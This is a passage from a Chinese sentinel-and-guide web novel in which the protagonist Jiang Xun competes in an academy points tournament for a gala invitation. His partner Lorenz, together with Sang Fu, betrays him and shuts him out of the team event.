他叹了口气，继续道，“自从那些世家向导们放出要参加宴会的消息之后，连各路高阶哨兵们也沸腾了起来，现在还有一周时间，整个上流圈子都已躁动了起来，等我们得到消息的时候，已经是一函难求了。” “不过……”曲绍说着，话锋又是一转，“虽然我们八成是搞不到正式的邀请函，可您若真的想去的话，我还能想想别的办法，比如搞到一个临时工作人员的位置，又或者蹭某些小家族的随行名额……但是这样的话，变数就比较大了，不能保证一定能进去，而且就算进去了，恐怕行动也会受限，也不够体面。” 江寻沉默地听着，手指无意识地在冒着热气的杯口摩挲着。 原来如此，那确实有些难办……身份体面与否他并不在意。但是不能保证一定能进场，进去了也可能行动受限，这就比较麻烦了。 他是要进去私下找陆厌离见一面的，这样一来，万一运气不好被调派到其他地方服务，那就算进去了也没有用。 抬头看一眼曲绍的神情，江寻先是诚恳地道了谢：“多谢您了，曲老大，这么短时间内就调查出了这么详细的消息，辛苦各位兄弟了！” 见曲绍闻言神情放松了下来，这才接着问道：“那曲老大可知道，一般来说，要拿到这个正式的邀请函，都有哪些正规的途径呢？” 江寻没有因为他能力有限而不满，十足让曲绍松了口气，虽然说江寻对他的态度还是一如既往，可如今的情形可和一开始认识江寻时大不一样了。江寻眼看便要一飞冲天，如今可是他能够再次往上爬的最大希望，他可不想给对方留下一个办事不力的印象。 放下心来后，再为他解释这些不难获得的信息，也显得信心十足：“一般来说，能获得正式邀请函的途径就那么几条。一是当年在任务或者工作中，为联盟与塔组织做出了重大贡献的个人或者集体。塔会在宴会上对他们做出表彰和鼓励。二是圣所每年通过积分赛获得前五优胜的哨兵和向导。这是那些平民哨向们，向上攀登的最好机会。三就是给各大世家、军团、议会等重要势力组织的固定名额，他们去，就是去吸纳新血，顺便相亲的。最后还有极少量的媒体名额和一些特邀的学术嘉宾。” 曲绍说着，无奈地摊了摊手：“这些渠道，基本都有其固定的来源，外人很难插手其中。” 江寻沉吟片刻，心里已是有了选择。 “我明白了。”他点了点头，“多谢曲老大的帮忙了。还是要麻烦您，刚才说的那些渠道，可以的话，请帮我继续留意一下。我自己这边也想想其他办法，看能不能拿到一张正式的邀请函。” 曲绍闻言并不怪江寻还要另找渠道，反而因为他做事稳妥，心中更添一分欣赏，痛快地应承了下来：“没问题！您放心，我这边肯定尽力给您多准备几套备用的方案兜底。您那边若是后续有什么需要配合的，也可以随时联系我。” “多谢，有劳曲老大了！”事情说完，江寻便利落起身，礼貌告辞。 离开曲绍的小楼，重新汇入黑街混杂的夜色中，江寻一边思考着一边机械地往外城公寓的方向走去。 有很多哨兵向导都会来参加吗？ 那这个星辉盛宴，必须要去了…… 对他来说，要拿到正式的邀请函，最正规的路线，当然就是从圣所的积分赛中夺得前列了。 但是听曲绍的介绍，这个积分赛应该是面对整个圣所全部年级的比赛，恐怕竞争会非常激烈。自己即使有等级的优势在，不熟悉赛制与高年级课程，也不想暴露真正的等级引来麻烦的话，不一定能真的占据优势。现在也不清楚这个积分赛都有哪些项目，积分如何计算，要确保拿到邀请函，还需要回去好好计划一下。 夜色渐深，江寻叹了口气，脚下又快了几分，迅速隐没在人流之中。 * 次日清晨，星环大厅中，光线明亮，空气中弥漫着一股书香与墨韵。 今天的课程由副所长艾略特教授负责，大厅中一早便已座无虚席，教授一边讲解着关于高阶精神力的精细操控，一边现场为所有学员们演示出来，教室中一片寂静，只能听到导师的讲解声与感应笔摩擦而过时发出的细微沙沙声。 课程临近尾声时，艾略特教授这才合上了手中的感应板，清了清嗓子。 这个动静吸引到了不少的学员，众人纷纷抬起头来，看向讲台中心。 “各位学员们，有一项重要的事件通知。”艾略特教授推了推眼镜，略带沙哑的声音通过放大器清晰地传遍整个大厅，“一年一度的‘星辉盛宴’即将在下周末举行。按照圣所每年的惯例，我们也将在下周举行年度哨向积分赛，最终排名前五的哨兵和向导学员，将获得大量学分与晚宴的正式邀请函。” 话音刚落，原本安静的大厅瞬间骚动了起来。已经从各自渠道提前知道这个消息的学员们不动声色。而绝大多数此前只是听过这场晚宴名头的平民学员们，则纷纷压抑不住地兴奋议论了起来。 江寻此刻也打起了精神，认真聆听着艾略特教授的讲解。 见到底下的年轻孩子们个个兴奋了起来，艾略特的脸上也露出了一个长辈般的欣慰笑容，“我相信，这里的大多数人都明白，这个机会有多么重要。希望大家可以在认真考虑之后做出自己的决定。” 略等待了一会儿，让学员们释放出自己的热情，艾略特教授这才双手下压，示意大家安静下来，继续道：“积分赛将于明日开始报名，周日截止。比赛共有两种形式，单人赛与双人协同赛。其中单人赛又分为笔试与实践测试。赛程安排如下：周一进行笔试，所有报名学员采用统一考卷，试题涵盖范围包括所有年级已经开设的理论课程与一部分最新领域的相关内容。” “周二为实践测试，试题库将由所有导师共同设立，现场抽选作答。周三为休息日兼自由组队时间。周四周五进行哨向协同赛，采取淘汰制。最终积分由这三次考试的名次加权构成。” 说到这里，艾略特教授顿了顿，又补充道：“此次比赛采用自愿报名原则，不打算参与的学员，接下来一周内课程暂停，可自行安排时间。想要报名的学员，从这节课后便可以通过终端链接向学院提交申请。其他详细的赛程规章与注意事项，将在报名结束后发送至各位的邮箱，请各位学员注意查收。” 通知完毕，艾略特教授最后向所有学员们点了点头，抱起教案与感应板，在众人的目光中缓缓离开了教室。 当教授的身影彻底消失在星环大厅厚重的大门后，教室里的气氛便瞬间炸了开来。 “终于来了！” “天哪！为什么还有笔试？！难道上战场了还要看会不会做题吗？我会用不就行了？” “为什么笔试范围是所有年级的课程？这对我们这些今年刚升上高级班的人太不利了吧！” “快看规章！协同赛的权重好高！” “不行，我要赶快去哨兵学院那边找个强力的搭档，不然晚点儿厉害的就被别人抢光了吧？” “整个学院的前五……这也太难了，我听说有好多前辈明明资格和学分都到标准了，也不毕业，就等着每年的这场盛宴呢！” “不是，你们都要去参加？这个什么星辉盛宴有这么重要吗？” 一片喧嚣声中，江寻已经打开了终端，点入那条刚刚被推送过来的报名链接，指尖飞快地操作着，将报名表提交了上去。 【报名成功】的提示弹窗一闪而过，一封赛程规章就已经被发送到了他的终端上。 他没有留下和教室里的同窗们讨论，在一片嘈杂的议论声中，安静而迅速地离开了教室。 出了星环大厅的大门，他没有回宿舍，而是脚下一转，径直走向了中央图书馆。 有一直以来合作的洛伦茨在，他不缺搭档。但是今天艾略特教授已经明确地说了，笔试的范围将会涵盖所有年级的课程在内。 这样的话，即使他在理论课上的成绩一直一骑绝尘，恐怕在这一次的笔试中也得不到高分。他得想办法在比赛开始之前再给自己补补课。 图书馆一如既往的安静，这会儿其他班级应该也是刚刚收到通知，大家都暂时被这个新奇的消息吸引了目光，只有几个江寻常在图书馆中见过的熟面孔，和他一样，第一时间就来到了这里。 找了一个靠窗的僻静位置坐了下来，江寻先是搜索了圣所所有的课程数据库，再将那些他们还没学到的课程分门别类地列举了出来。 《深层精神图景构架解析》、《精神海探索与风险管理》、《高等协同常见作战模式》…… 这些课程，有的江寻没有看过正式的理论书籍，但是在实际中曾经少量运用过。也有的，对他来说还是一片空白。 时间有限，他来不及一一精深学习，但是在周一之前，将这些高年级的核心理论书籍快速过一遍，大概理清这些理论知识的基本框架，还是来得及的。 他只希望，能在笔试时不要在涉及到这些知识的题目上丢掉太多分。 江寻深吸一口气，屏蔽掉一墙之隔的窗外，因为这次比赛而引起的激烈讨论声，眼神沉静了下来，将所有的注意力全部投入了面前浩瀚的知识海洋中。 全神贯注之下，只能听到笔尖发出的细微沙沙声。 无数复杂的论文与结构图，被一点点刻入江寻的脑海。 直到窗外的阳光渐渐偏移，图书馆从冷清变得热闹，又重新变得人影寥寥。 人语声渐渐消失不见，像是比赛似的，房间中只剩下细微的翻书声与敲击感应板的声音，空气中弥漫起一股紧张的竞争氛围。 圣所，这座培养了整个联盟最顶尖哨向的摇篮，因着即将到来的星辉盛宴，渐渐沸腾了起来。无数惊才绝艳的天才们，开始为着这张通天阶梯的入场卷全力冲刺。《 》 155-160 第156章 繁忙的学习生活让时间过得飞快， 在高度专注的备考中，一周时间转瞬而过。 周一，圣所核心区。 因为许多低年级的学员没有报名的缘故， 今天的圣所中， 人流稀疏， 偶尔见到的几个学员也脚步匆匆，口中不住嘀嘀咕咕地默念着知识点。 江寻踏着晨光走进了星穹大厅的大门，这是他第二次在星穹大厅中考试。第一次还是当初的高级研修班入学考试。这时他才恍然惊觉， 原来不知不觉之间， 他已经在这里生活了将近半年之久。 这一次参加考试的人数，比当时的入学考试还要少了许多。江寻看着，大概只有不到二百人，但是考生们身上的气势却远胜当初——汇聚于此的，是整个联盟新一代中最优秀的那一批年轻向导。 江寻环视一圈，大概认识了一下在座诸人， 这里几乎见不到十几岁的年轻向导， 连和他年纪相仿的都很少， 几个气场最强的学员，大多在三十岁左右， 其中令他感觉压迫感最强的，是一位三十五岁左右的女士。江寻猜测她可能已经达到了A级水准。 当他观察对方之时， 这位女士也敏锐地发现了他，在看清他的脸之后， 了然地对着他点了点头，似乎是对他有所了解。见此情形，江寻也略带歉意地还了一礼。 除了这一位之外，其他人并没有给江寻带来具有威胁性的感觉。或许还有其他实力强劲者和他一样隐藏了自身， 只求个安静生活，江寻不得而知。 总之总体观察下来，江寻还是比较有把握的。即使自己笔试的成绩低一点，只要不是太差，他应该可以凭借后面两轮的比赛把总积分拉上来。 没有留给他更多的观察时间，很快，预备铃声响起，大门被关闭了起来，笔试正式开始。 光屏上试题滚动出现，江寻大略扫过，叹了口气。 果然，题目的涵盖范围极广，从基础理论到高阶架构，甚至最后几道题还涉及了一些前沿猜想，非在这方面深入研究者，连看懂题目可能都困难。 考题刚出现几分钟，考场中就响起了一片低声惊呼。 江寻没有去管他人的状态，凝下心神，从头开始作答。前面的题目，笔尖在感应板上挥舞地飞快。可越到后面，便越发凝滞起来。他尽力将上周恶补的那些高年级知识运用起来，但对一些比较艰深的推导构建，与一些比较冷门的细节问题仍显吃力。 到交卷的铃声响起时，总算将整张试卷上的题目尽数写满，但对于最后的成绩，江寻虽面上不显，心中却已有了一些预估。 成绩在当天晚上便公布了，终端显示出来的光榜上姓名滚动，江寻的目光一路向下，终于在第三十七的位置上找到了自己的名字。 松了一口气，还好，中上游，成绩在他的预料范围之内，对于一个今年刚刚入学的向导来说，已算不错，但是距离前五的目标，还差得远。 江寻没有抱怨什么，只是默默计算了一下与前十名的积分差距，把数字记在了心里。 第二天，实践测试的场地被移到了设有多个隔间的疏导室中。实践测试的考题无法人人都相同，所以考核中存在一定运气成分，考生可能会抽取到自己不擅长的题目，也或许刚好碰上擅长的领域。有的题目难度高一些，有的相对来说较低。但总体范围经由众位导师们筛选，应该处于一半以上的考生都可以独立解决的难度。 因为时间关系，所有考生被分成了数十个十人小组，以小组为单位同时进行考核，最长考核时间为一小时，超时未完成自动判为零分。每个考生最后的成绩，参考试题的完成程度与耗费的时间，由导师组最后共同进行评分确定。 以小组为单位进行的考核进行得很快，三、四组过去，便轮到了江寻所在的小组。 江寻深吸一口气，拍下按钮，滚动的光屏闪烁着定格，题目被锁定： 【为一名处于轻度失控状态的A级哨兵进行疏导与净化】 周围隐约传来几声松气的声音，有若隐若现的视线投过来。但众人关注的目光还是大多集中在同小组另一名笔试前十的学员身上。 江寻抽到的题目，在旁人看来，运气实在不好。以B级向导的能力，越级为A级哨兵疏导，即使对方只是堕化值不足30%的轻度失控状态，也没人觉得这是一件容易的事。即使能够成功，过程也注定缓慢而艰难，极其考验考生对于精神力操控的精细度与持久力，同时对于精神力总量的压力也很大，很难在限时考核中拿到高分。 但疏导与净化正是江寻最擅长的领域，这一次的题目在他看来，简直是上上签。 在众人的目光中，他们十人分别走向了指定的考核隔间。 隔间里，与题目对应的志愿者已经就位，等待着向导学员的到来。 一声铃响，考核正式开始。 江寻坐到志愿者面前，没有立刻开始动作，对于他来说，完成此项考核不在话下，他需要做的，是尽量在B级向导的框架下，以优异的表现完成这次考核，取得高分。 他先是用出精神感应，整体感知了一下对方身上力场与精神脉络中最紊乱的节点。接着，抬手搭上对方的手腕，指尖一动，几根高度凝聚的精神力丝线便从指尖探了出来，毫不迟疑地融入了对方体内。 他刻意控制了自身自然散溢而出的精神力波动，以平稳的输出速度，将精神力慢慢输入对方体内。 进入体内的精神力丝，没有一寸寸地从脉络中梳理过去，而是直扑他刚才感应到的几个紊乱节点，先以摧枯拉朽之势，将源头净化引导顺畅。 这个过程几乎只花费了一两分钟。源头尽数被消灭之后，那位志愿者哨兵的表情立刻轻松了下来，面露惊喜地看了江寻一眼。随后，整个身体周围那略带混乱的精神力波动也以肉眼可见的速度平复了下来。 通过监控发现了这一点的几位导师，纷纷面露惊讶，交换了一个眼神。 没有了紊乱的源头，剩余的污染犹如瓮中之鳖，在接下来的几分钟内，被江寻散布出去的精神力丝围追堵截，很快便完全消失殆尽。 直至江寻彻底完成净化，收回所有的精神力丝线，用去的时间还不到十分钟。 当他第一个踏出考核隔间时，外面围观的所有学员，顿时齐齐向他投来忌惮又不可思议的目光。 实践考核的分数出得很快，当光屏上跳出他的分数后，便一路压过之前所有的考生，跃上了第一位。周围顿时响起一阵低声惊呼。 这个名次，直到全部学员的考核结束，也没有被任何人撼动。 这个极高的名次转换而来的积分，极大地弥补了他笔试上的劣势，当晚，两天的单人考核权重分叠加在一起后，总积分榜上，“夏因”这个名字，便一举跃上了第三的位置。 周三，圣所留出来的休息日，可气氛却不见轻松。 高高悬挂在头顶的积分榜实时排名，无时无刻不刺激着那些为了此次星辉盛宴准备良久的资深学员们。 明天就要开始为期两天的合作协同赛，动作快的人已经早早寻好了搭档完成了报名登记，动作稍慢的，也从一大早就开始联系起各自认识的高阶哨兵。 江寻一大早便来到了核心区，向着洛伦茨拨去了通讯请求。 没响几声，通讯那头便被接了起来，但背景音似乎有些嘈杂，隐隐的好像有一个有点耳熟的男声说了一句什么。 “夏因向导。”还没等江寻回忆起那个感觉有些耳熟的声音是谁，洛伦茨的声音传来。 “嗨，洛伦茨，”江寻没有太在意，像以往那般直接做出了邀请，“积分赛你也参加了吧？明天协同赛就要开始了，我们去报一下名吧？” 与个人赛不同，协同赛因为要同时确认双方的意愿，需要一起组队在圣所行政中心报名。 “夏因向导，好的，不过……”洛伦茨的语气还和以前一样温和亲切，保持着让人舒服的距离感，但是声音好像比以往低沉了一些，“前两天我们哨兵学院这边也在考核，实战对抗中动作有些激烈，我受了点儿伤，现在还在医疗中心处理，需要等一段时间才能过去。嗯……大概下午吧。” 江寻皱了皱眉，哨兵学院那边，还没到协同赛环节，竞争就已经这么激烈了吗？连洛伦茨这种A级高阶的哨兵都负了伤。 “伤到哪里了？严重吗？”这段时间以来，江寻已经把洛伦茨当成了真正的朋友，闻言有些担心，“需要我帮忙吗？” “不用。”洛伦茨拒绝得很快，话刚一出口，似乎又觉得语气不太好，声音放缓了下来，“只是一些皮肉伤，哨兵学院这边经常有学员在训练中受伤，这边有专业的治疗舱与医护人员，不碍事的。” “那好吧。”听到洛伦茨说没事，江寻也放松了下来，没有继续追问，“那我在核心区等你，你下午治疗结束了，联系我就行。” “好的，下午见，夏因向导。”洛伦茨说着，切断了通讯。 江寻叹了口气，这个意外让他始料未及。 他本打算一早过来与洛伦茨一起报完名，再共同练习一下，为明天的比赛做些准备，没想到却是一直很靠谱的洛伦茨那边出了状况。 沉默片刻，他转身再次走向中央图书馆。 现在离下午时间还早，既然没法实践练习，那他就先寻一些关于哨向协同作战方面的实操书籍，来补充一下知识点。他是首次参加这种不分年级的积分赛，总觉得准备做得再多仍不够。 今天的图书馆人非常少，大多数已经报名的学员都已经和自己的搭档在几个模拟训练室外排起了长队。 江寻从书架上抽出一本之前没看过的《高阶协同精神力场共振模型》，摒除杂念，找了个安静的角落坐下，翻开书页便沉浸其中。 时间在充实的学习中，过去得很快。 随着页数渐渐变薄，太阳也从左侧的窗户移到了右边。 直至长吸一口气，信手翻过了最后一页，江寻才恍然惊觉时间流逝。低头看向腕间的终端，却见光屏仍是漆黑一片，没有任何通讯接入。再看时间，已经到了下午三点。 江寻皱了皱眉头，心中有了些焦急。 报名的时间虽说到周三为止，但实际上卡的是工作时间，六点之后，登记人员下班，报名也就自动截止了。满打满算，留给他们的时间也不到三个小时了。 江寻再次拨通了通讯。 这一次，洛伦茨接得很快，背景音安静了许多，声音也恢复了平常的样子，这让江寻稍稍放下了心。 “抱歉，夏因向导，治疗的时间拖得久了一点，我们这边受伤的人有点多，明天大家都要去参加比赛，医护人员有些忙不过来，让你久等了。” 江寻还没有出口询问，洛伦茨先道了歉，给江寻解释了那边的状况。江寻一想，也能理解，心头的一丝忧虑也散了些：“原来如此，那你的情况好些了吗？这边报名时间也只剩三小时了，我怕时间太晚会来不及。” 洛伦茨那边响起一阵絮絮人声，似乎是他在问些什么，听不大真切，随后，洛伦茨的声音再次响起：“夏因向导放心，医生说我的伤势治疗得差不多了，现在正在给我换药包扎，结束了我就过去找你。” 江寻看了看时间，估算了一下，试探问道：“那四点在第三休息区的蓝风铃咖啡店汇合，来得及吗？” “好，你先过去，我稍后便到。”洛伦茨一口答应，随即切断了通讯。 确定了时间，江寻松下口气，合上手中的书本，将其放回了原位，安静地离开了图书馆，向着约定好的咖啡店走去。 不过半刻，江寻便到了蓝风铃。 午后的阳光和煦地投射进原木风格的窗棂里，配上店内咖啡豆的醇香与甜点的气息，构成一副惬意放松的氛围。 相比图书馆，今天在这里小聚的学员多了许多，也许是因为很多人没有参加积分赛，这周放假的缘故。 许多人三三两两地聚在一起，谈笑着聊着天，偶有几个人认出了江寻这位高居积分榜第三的精英向导，偷偷扭过头去，与自己的同伴兴奋议论几句，引来一阵小声惊呼。嘻嘻哈哈地年轻声音充斥耳边，满满的轻松愉悦充溢其中。 可此时，江寻的心情却并不如众人一般轻快，他点了一杯热牛奶，便选了一个靠窗的安静位置坐了下来，目光投向窗外，略有些焦急地等待着洛伦茨的到来。 窗外的光线逐渐西斜，在咖啡桌上拉出长长的影子，江寻的手指摩挲着杯口，感受着杯中的牛奶一点一点失去温度。 终端屏幕上的指针再次往前挪动一格，清晰地跳到了下午四点整。 约定的时间到了，而洛伦茨还是没有出现。 江寻眉心蹙起，不详的预感终于突破了那层薄薄的冰面，悄无声息地蔓延进了心底。 看着躺在通讯页面里的那个名字，江寻此刻的心中分外清晰了起来。 洛伦茨今日表现出的与往常大相径庭的行为，终于引起了他的怀疑。他真的受伤了吗？ 以洛伦茨的实力和哨兵学院先进的医疗条件，只是在实战考核中受到的普通伤势，真的会花费一天时间也处理不好吗？ 那么，他是故意的？ 江寻眯起眼睛，仔细复盘今日的状况。 故意拖延，直到协同赛报名截止前夕，让自己陷入无人搭档的困境中？这么做对他有什么好处？以此胁迫自己答应某种条件？比如……成为固定的疏导关系？ 这个念头刚冒出来，便被江寻自己否定了。 洛伦茨是个聪明人，与自己也相处了这么久，清楚自己的性格。他应该很清楚，仅仅为了一个积分赛的参赛资格，绝不足以让自己为此妥协。即使他将星辉盛宴的邀请函放在自己面前，也不能够。这代价完全不对等。 而且，这样一来，他自己难道也不参加积分赛，不想去星辉盛宴吗？按理来说，以他的性格，绝不会放过这次的通天机会的。 还是说……另外一种可能浮现在了江寻的脑海——他已经和别人组队了？ 怀疑的种子一旦出现，便在心中迅速生根发芽。再回想起今日里与洛伦茨的两道通讯，一个细节突然重新出现在江寻的脑海之中。 早上那通电话里，曾经隐隐约约听到过的，似乎有些熟悉的人声…… 江寻眉头紧皱，记忆的迷雾在刻意地回想下渐渐散去。 手掌在桌面上重重一拍，江寻的眼神瞬间冷了下来，他想起来了，那个声音是——桑扶！ 沉默地看着终端上显示出的人名，江寻手指一动，再次拨打了过去。 通讯请求的提示音开始漫长地响起，一声，两声……最终，自动转入了冰冷平直的电子提示音：“您拨打的用户暂时无法接通……” 江寻面无表情地放下了终端。 猜测成真，洛伦茨不会来了。 是了，弗兰克作为雷欧家的第一继承人，本身就有出席宴会的资格，根本不用参加积分赛，桑扶就落单了。而现在，桑扶和洛伦茨在一起，洛伦茨又欺骗他爽约，那基本已经能确定，他们两个组队了。 他们是故意的。 江寻猛得站起了身，突兀的动作震得面前的杯子晃动了一下，咖啡店中不少人，惊讶地看向了他。 此时已经顾不上去深究洛伦茨的突然背叛是什么原因，距离协同赛报名截止的时间已经所剩无几，他必须在这剩下的时间里找到一个新的搭档。 江寻没有任何迟疑，快步走出咖啡厅，向着哨兵学院的方向行去。 越是接近哨兵学院所在的区域，空气中的氛围就越发紧绷躁动。 与聚集了大量向导，气氛平静宁和的向导学院相比，这里充满了更加外放又实质化的冲突感。 哨兵学院的大厅里，此刻人声鼎沸，随处可见三三两两聚在一起的哨兵。有的在激烈地讨论着战术，不时还要拟化一下进行现场演示。有的打打闹闹，拍打嬉戏之间却是“砰砰砰”的剧烈撞击声。空气中，各色活跃而暴躁的精神力场密布，到处都充满了躁动的气息。 江寻的出现，引起了一些注意。但哨兵学院这边也时常有向导过来，所以大部分人都在看了他一眼过后，便失去了兴趣，继续做自己的事，只有几个消息灵通又一直在关注着积分赛的哨兵，才认出了他这张排在第三名的面孔。 江寻没有管其他人的反应，目光迅速从周围扫过，看过一圈之后，暗暗叹了一口气。 如他所料的一样，这个时间点上，那些实力强悍，排名靠前的A级哨兵，基本都没有放过这次难得的出头机会，早已确定了搭档，这时候基本都和搭档窝在训练场里，开始了磨合练习。零星出现在这里的，也行色匆匆，明显已经有了合作者。 虽然不知有没有仍旧落单的A级哨兵，可他对哨兵学院这边的情况不熟悉，时间紧迫下，也不可能浪费精力专门去寻找可能性渺茫的A级哨兵。 而C级及以下，即使有他的辅助，也几乎不可能跨越两级的鸿沟，在精英云集的协同赛中脱颖而出，帮助他夺得前五名。 B级哨兵，是他眼下唯一可能的选择。即使前景依旧渺茫，但起码有了一试的可能。 江寻深吸一口气，目光变得更加锐利起来。 如今的状况虽说是洛伦茨一手造成，但未尝不是因为他最近升级顺利，一直听着众人对S级向导的追捧，心中生出了懈怠，过于相信他人，连洛伦茨的异常都没有看出来。 他会记住这次教训，绝不再犯。 江寻的大脑飞速运转，目光不停从一个个哨兵身上扫过，用心感应每个人的精神力场强度，观察着对方的行为，认真辨认着每一个见到的B级哨兵，寻找那些看起来落单还未找到搭档，且实力不俗的哨兵。 他的注意力集中到了极致，感应的同时，大脑飞速分析。 他必须要快！ 只剩两个小时，他必须要在报名截止之前，找到一个条件合适，并且愿意和他组队，向最强大的几支A级队伍挑战的B级哨兵。 这很难，但他此刻，已经没有退路。 第157章 经过十几分钟的观察， 江寻将目光投向了一位凑到向导身旁说话，不久后又面露遗憾地离开的哨兵身上。 这人他没有见过，年纪最少有三十岁， 身材高大， 气息虽然不算太强， 但十分沉稳，看起来像是一位延期毕业的哨兵学长。 找到疑似目标后，江寻便毫不迟疑地主动走上前去。 “您好， 打扰一下。”江寻来到对方面前， 先是礼貌地道了个歉，随后才说出了正题，“请问您是否参加了这一次积分赛？”见对方有些愕然地点了点头，这才继续问道，“我是向导学院的B级向导夏因，现在位居积分榜第三， 不知道您是否已经确定了协同赛的搭档呢？” 那哨兵听到江寻的名字， 眼中闪过一丝明显的惊讶， 面对江寻的邀请，似乎有些意动， 可紧接着不知想起了什么，那一丝意动， 飞速化作了尴尬与躲闪。 他摸了摸鼻子，眼神不自觉地向外飘开一瞬， 再看向江寻时，已是满脸的歉意：“啊……夏因向导是吗？抱歉啊，我……我已经有搭档了。” 他的这句回答说得又快又急，话音刚落， 转身便走，行动间，带着一些他本人都没有发现的慌乱。 江寻的目光微凝，没有挽留，注视了那人片刻，便收回了视线，一边往哨兵学院更核心的内部区域走，一边继续在人群中扫视起来。 不一会儿，他又锁定了另一个目标。 那是一个神情冷峻，独自靠在墙边的B级哨兵，他的目光不断从场中零星走过的向导身上划过。在江寻观察他的同时，也敏锐地扭过头来，与江寻对上了视线。 见对方已经发现了自己，江寻便干脆地上前，将刚才的问题重复了一遍。 这位哨兵的实力比前一位还稍强一些，但脾气明显冷硬许多，听了江寻客气的话语，目光中闪过一丝了然，而后，便板着面孔，冷冰冰地给出了一样的拒绝。 江寻的心缓缓下沉。 他没有停留，脚步加快，将自己的标准降得更低，十几分钟的时间里，连续询问了附近另外三四名看起来落单的B级哨兵。 结果无一例外，所有人都以各种方式拒绝了他。 江寻的面色彻底冷了下来，这一次，他干脆走向了身边一位气息较弱，看起来只有C级的哨兵。 谁知对方一见他走近，还未等江寻开口，就慌忙地摆起了手，脚下连连后退，口中一迭声地喊了起来，像是生怕被人误会：“别找我！我、我没有报名积分赛，真的！” 可明明就在上一秒，江寻还听到他和身边的另一位哨兵讨论着要不要去向导学院那边，找找有没有落单的向导。 江寻站在原地，环视四周一圈，与他目光相触的学员们，不是无动于衷，就是立即移开了视线，他甚至还看到有人别过脸，露出了明显看好戏的神态。 冰冷的寒意顺着脊椎缓缓向上爬升。 原来如此……在他没有注意到的时候，一张围绕着他的无形的网，早已悄然收紧。 有人知道他会被洛伦茨背叛，也算准了他会来哨兵学院寻找新的搭档，甚至提前打点好了这边，让这些高阶哨兵们，不敢违逆地遵守他的规则，宁愿自己找不到搭档，也要拒绝他这个名列前茅，明显能为他们带来优势的搭档选择。 这背后的人是谁？ 江寻不知道，但从结果上来看，也许促成这一切的，不止一个人。 洛伦茨抛下他选择了别人，他还能够理解。毕竟，他们也只是合作关系，若是对方付出了更加令人心动的代价，洛伦茨为了自己更好的前途，在这个关键时刻临阵倒戈，虽然会给他带来一些麻烦，但他尚且能够理解。 可他没想到的是，对方会把事情做的这么彻底，故意延误自己的时间，还在背后做了手脚，让其他人也不和自己搭档。 终端屏幕上，代表着时间的数字无情地向前跳动。 即使江寻仍然不放弃地奔走在哨兵学院中，连续对着许多个哨兵发出了邀请，也没有任何一个人接受。 17：30……17：50……17：55……18：00。 最后一刻，江寻就站在行政中心的报名处旁边，看着时间一点点流尽，工作人员整理好手中的报名册，怜悯地看了他一眼，转身离开。 协同赛报名通道随之正式关闭。 江寻低头看向腕上的投影。 下一刻，积分榜再次刷新，由于没有报名协同赛，几名选手的协同赛成绩，被自动计为零分，直接进行了最后的加权计算。 零星几个闪烁着的名字，如同断了线的风筝，骤然向下坠落。江寻作为其中积分最高的一位选手，经此一遭，名次瞬间跌出了前十。 江寻敏锐地听到耳边传来数道惊呼的声音，其中有的庆幸，有的惋惜。而更多道意味不明的目光，此刻也纷纷投向了他，看着他多日来的努力，在这一刻，彻底化为乌有。 “呵！” 正当此时，一声毫不掩饰的嘲弄轻笑，从身后传来。 江寻缓缓转过身望去。 不远处的廊柱之后，悠然绕出几人。为首者，艳丽的脸蛋上，此时却挂着一抹充满快意的恶劣笑容——正是有一段时间没注意过的桑扶。 而他身后，还跟随着几个人。其中，最为靠近他的那个身影，令江寻的目光彻底冰冷了下来。 银发碧眼，身姿挺拔，对方面上甚至还挂着那一贯邀约他时，带着的那种亲和的笑意。 正是他联系了一天也没有见到的洛伦茨。 “真是可惜呀，夏因向导。”桑扶慢悠悠地踱步上前，声音拖着长长的调子，话里说着惋惜，面上的笑容却越来越大，“辛辛苦苦才爬到积分榜第三呢，最后居然因为找不到搭档提前失去了资格。啧！看来是平时太清高了，得罪的人太多了吧？” 江寻没有去看小人得志的桑扶，他的目光平静却沉重，直直钉在洛伦茨的身上。上下打量一番，没有在对方身上找到任何受伤的痕迹。尽管早已明白了对方的选择，还是忍不住开口：“洛伦茨，为什么？我以为，我们起码算得上是朋友。” 洛伦茨侧了侧头，避开江寻的视线，只轻声开口：“抱歉，夏因，我觉得你应该能理解我。” “嗤！你还问为什么？”桑扶横跨一步，插进江寻与洛伦茨之间。看着江寻笑得嘲弄，“你还有脸问为什么？夏因，你吊着洛伦茨，拿他给你做挡箭牌，利用他帮你拿到课程高分的时候，怎么不想想为什么？你明明就不打算和他绑定，本来也只是把他当个工具人，现在他选择了对自己更有利的合作者，你有什么资格反过来质问他？” 他故作惋惜地拍了拍洛伦茨的肩膀，“你看看，洛伦茨明明是备受向导们欢迎，前途远大的预备S级哨兵，长得帅气战力也强，在哨兵学院这边力压所有人连任三年首席。可这样一位顶级的年轻哨兵，殷勤地追求了你这么久，别说绑定了，你连私下的邀约都没有答应过，他跟在你身边，只有付出，什么回报都得不到！” “可若是站在我们这边，就完全不一样了！”桑扶摊了摊手，几乎把那张恶意满满的脸完全怼上来，“你能为他做的，我可以做，你不能做的，我也可以做，我甚至还可以更进一步……”桑扶眨了眨眼，语气中蕴含着某种众人皆知的暧昧味道，“……让他真正体验一下深入疏导的快乐！”他的声音缓慢地从“深入”两字上碾磨过去，让人清清楚楚地明白他的意思。 “而且，弗兰克这次不能陪我，但他承诺了，”桑扶像只花蝴蝶一般原地转了个圈，手臂搭上洛伦茨的胳膊便如菟丝花般缠绕了上去，“谁能帮我出线拿到星辉盛宴的邀请函，他便在毕业的时候推他一把，帮他进入想去的势力。别抱着你那过家家的念头了，现实一点吧！这些东西你能给他吗？” 洛伦茨此时也抬起了头，他的眼神在触碰到江寻时有些复杂，却掩不住蕴藏在深处的坚定。 “他说的没错，夏因。”洛伦茨的声音有些低哑，一字一句却毫不犹豫，“我们合作这么长时间了，可你仍然和我保持着最初的距离。别说绑定了，连一个固定疏导的位置也不愿意给我。今天欺骗了你，是我不对，但我也必须为我的未来考虑了。” 一直享受着洛伦茨带来的便利，却并无回报，一直以来确实也让江寻内心有愧，可是…… “但是，我们一开始商定合作的时候，你就说过了，你并不要求其他……而且，如果你要结束这段合作的关系，你大可向我直说，我不会怪你。”江寻看向洛伦茨，真切地感受到了一丝难过，“可你为什么还要故意陷害我？” “夏因，你太强了。”洛伦茨顿了顿，“说实话，我真的对你的能力十分佩服，也正因如此，我才不能让你继续走下去。这次的机会对我来说太重要了，多一名对手，我就少一分出线的可能。夏因，你难道不明白吗？我们都是从最底层一路爬上来的，任何一次机会，都要不择手段地紧握在手里，不是吗？” 